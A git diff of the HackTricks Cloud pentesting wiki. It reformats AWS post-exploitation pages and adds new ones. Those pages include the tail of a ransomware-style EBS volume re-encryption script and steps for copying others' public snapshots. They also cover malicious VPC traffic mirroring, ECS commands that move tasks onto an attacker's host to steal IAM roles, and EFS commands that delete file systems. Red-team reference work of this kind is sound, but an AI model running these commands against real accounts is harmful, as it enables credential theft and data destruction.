+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
+      },
+      "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
+      "Resource": "*",
+      "Condition": {
+        "Bool": {
+          "kms:GrantIsForAWSResource": "true"
         }
-    ]
+      }
+    }
+  ]
 }
 ```
 
@@ -462,7 +441,7 @@ def replace_volumes(ec2_client, instance_volumes):
 
 def ebs_lock(access_key, secret_key, region, kms_key_arn):
     ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
-    
+
     instance_volumes = enumerate_ec2_instances(ec2_client)
     all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
     snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
@@ -495,17 +474,4 @@ if __name__ == "__main__":
     main()
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
similarity index 60%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index 4c0fa0e1c..8f5ebb565 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -1,19 +1,6 @@
 # AWS - EBS Snapshot Dump
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Checking a snapshot locally
 
@@ -46,11 +33,9 @@ make docker/build
 IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
 ```
 
-{% hint style="danger" %}
-**Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that:
-{% endhint %}
+> [!CAUTION]
+> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that:
 
-{% code overflow="wrap" %}
 ```bash
 # Copy the snapshot
 aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -64,19 +49,16 @@ dsnap --region us-east-2 get snap-027da41be451109da
 # Delete the snapshot after downloading
 aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
 ```
-{% endcode %}
 
 For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
 
-You can do this with Pacu using the module [ebs\_\_download\_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
+You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
 
 ## Checking a snapshot in AWS
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89
 ```
-{% endcode %}
 
 **Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup):
 
@@ -84,8 +66,8 @@ Step 1: A new volume of your preferred size and type is to be created by heading
 
 To be able to perform this action, follow these commands:
 
-* Create an EBS volume to attach to the EC2 instance.
-* Ensure that the EBS volume and the instance are in the same zone.
+- Create an EBS volume to attach to the EC2 instance.
+- Ensure that the EBS volume and the instance are in the same zone.
 
 Step 2: The "attach volume" option is to be selected by right-clicking on the created volume.
 
@@ -93,7 +75,7 @@ Step 3: The instance from the instance text box is to be selected.
 
 To be able to perform this action, use the following command:
 
-* Attach the EBS volume.
+- Attach the EBS volume.
 
 Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`.
 
@@ -113,14 +95,13 @@ Step 9: Change directory to the "newvolume" directory and check the disk space t
 
 To be able to perform this action, use the following commands:
 
-* Change directory to `/newvolume`.
-* Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory.
+- Change directory to `/newvolume`.
+- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory.
 
 You can do this with Pacu using the module `ebs__explore_snapshots`.
 
 ## Checking a snapshot in AWS (using cli)
 
-{% code overflow="wrap" %}
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
 
@@ -146,7 +127,6 @@ sudo mount /dev/xvdh1 /mnt
 
 ls /mnt
 ```
-{% endcode %}
 
 ## Shadow Copy
 
@@ -156,19 +136,6 @@ You can use this tool to automate the attack: [https://github.com/Static-Flow/Cl
 
 ## References
 
-* [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
+- [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
new file mode 100644
index 000000000..69042df5f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -0,0 +1,15 @@
+# AWS - Malicious VPC Mirror
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+
+Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**.
+
+To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts.
+
+The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible.
+
+For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
similarity index 55%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index 3d8bb5192..aea1b48dd 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -1,31 +1,17 @@
 # AWS - ECR Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## ECR
 
 For more information check
 
-{% content-ref url="../aws-services/aws-ecr-enum.md" %}
-[aws-ecr-enum.md](../aws-services/aws-ecr-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-ecr-enum.md
+{{#endref}}
 
 ### Login, Pull & Push
 
-{% code overflow="wrap" %}
 ```bash
 # Docker login into ecr
 ## For public repo (always use us-east-1)
@@ -38,7 +24,7 @@ aws ecr get-login-password --profile <profile_name> --region <region> | docker l
 docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
 ## If you still have the error "Requested image not found"
 ## It might be because the tag "latest" doesn't exit
-## Get valid tags with: 
+## Get valid tags with:
 TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
 curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
 
@@ -61,11 +47,12 @@ aws ecr get-download-url-for-layer \
     --registry-id 653711331788 \
     --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
 ```
-{% endcode %}
 
 After downloading the images you should **check them for sensitive info**:
 
-{% embed url="https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics" %}
+{{#ref}}
+https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
+{{#endref}}
 
 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
 
@@ -106,17 +93,4 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
new file mode 100644
index 000000000..115f36302
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -0,0 +1,63 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## ECS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\
+Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check:
+
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+{{#endref}}
+
+> [!CAUTION]
+> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
+
+### Privesc to node to steal other containers creds & secrets
+
+But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached.
+
+#### Making containers run in current host
+
+Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container.
+
+```bash
+aws ecs update-container-instances-state \
+    --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+
+The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:**
+
+```bash
+aws ecs deregister-container-instance \
+    --cluster <cluster> --container-instance <container-instance-id> --force
+```
+
+A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this:
+
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+    --status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+
+### Steal sensitive info from ECR containers
+
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
new file mode 100644
index 000000000..daf1fb898
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -0,0 +1,54 @@
+# AWS - EFS Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EFS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-efs-enum.md
+{{#endref}}
+
+### `elasticfilesystem:DeleteMountTarget`
+
+An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target.
+
+```sql
+aws efs delete-mount-target --mount-target-id <value>
+```
+
+**Potential Impact**: Disruption of file system access and potential data loss for users or applications.
+
+### `elasticfilesystem:DeleteFileSystem`
+
+An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system.
+
+```perl
+aws efs delete-file-system --file-system-id <value>
+```
+
+**Potential Impact**: Data loss and service disruption for applications using the deleted file system.
+
+### `elasticfilesystem:UpdateFileSystem`
+
+An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion.
+
+```sql
+aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
+```
+
+**Potential Impact**: Degradation of file system performance or resource exhaustion.
+
+### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
+
+An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system.
+
+```arduino
+aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
+aws efs delete-access-point --access-point-id <value>
+```
+
+**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
similarity index 50%
rename from pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 3421ae7cc..90c8a2c96 100644
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -1,27 +1,14 @@
 # AWS - EKS Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## EKS
 
 For mor information check
 
-{% content-ref url="../aws-services/aws-eks-enum.md" %}
-[aws-eks-enum.md](../aws-services/aws-eks-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-eks-enum.md
+{{#endref}}
 
 ### Enumerate the cluster from the AWS Console
 
@@ -29,26 +16,24 @@ If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernet
 
 ### Connect to AWS Kubernetes Cluster
 
-* Easy way:
+- Easy way:
 
 ```bash
 # Generate kubeconfig
 aws eks update-kubeconfig --name aws-eks-dev
 ```
 
-* Not that easy way:
+- Not that easy way:
 
 If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
 
 In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name):
 
-{% code overflow="wrap" %}
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
 /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
 ```
-{% endcode %}
 
 <details>
 
@@ -57,36 +42,36 @@ API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazon
 ```yaml
 describe-cache-parametersapiVersion: v1
 clusters:
-- cluster:
-    certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-    server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-  name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+  - cluster:
+      certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhB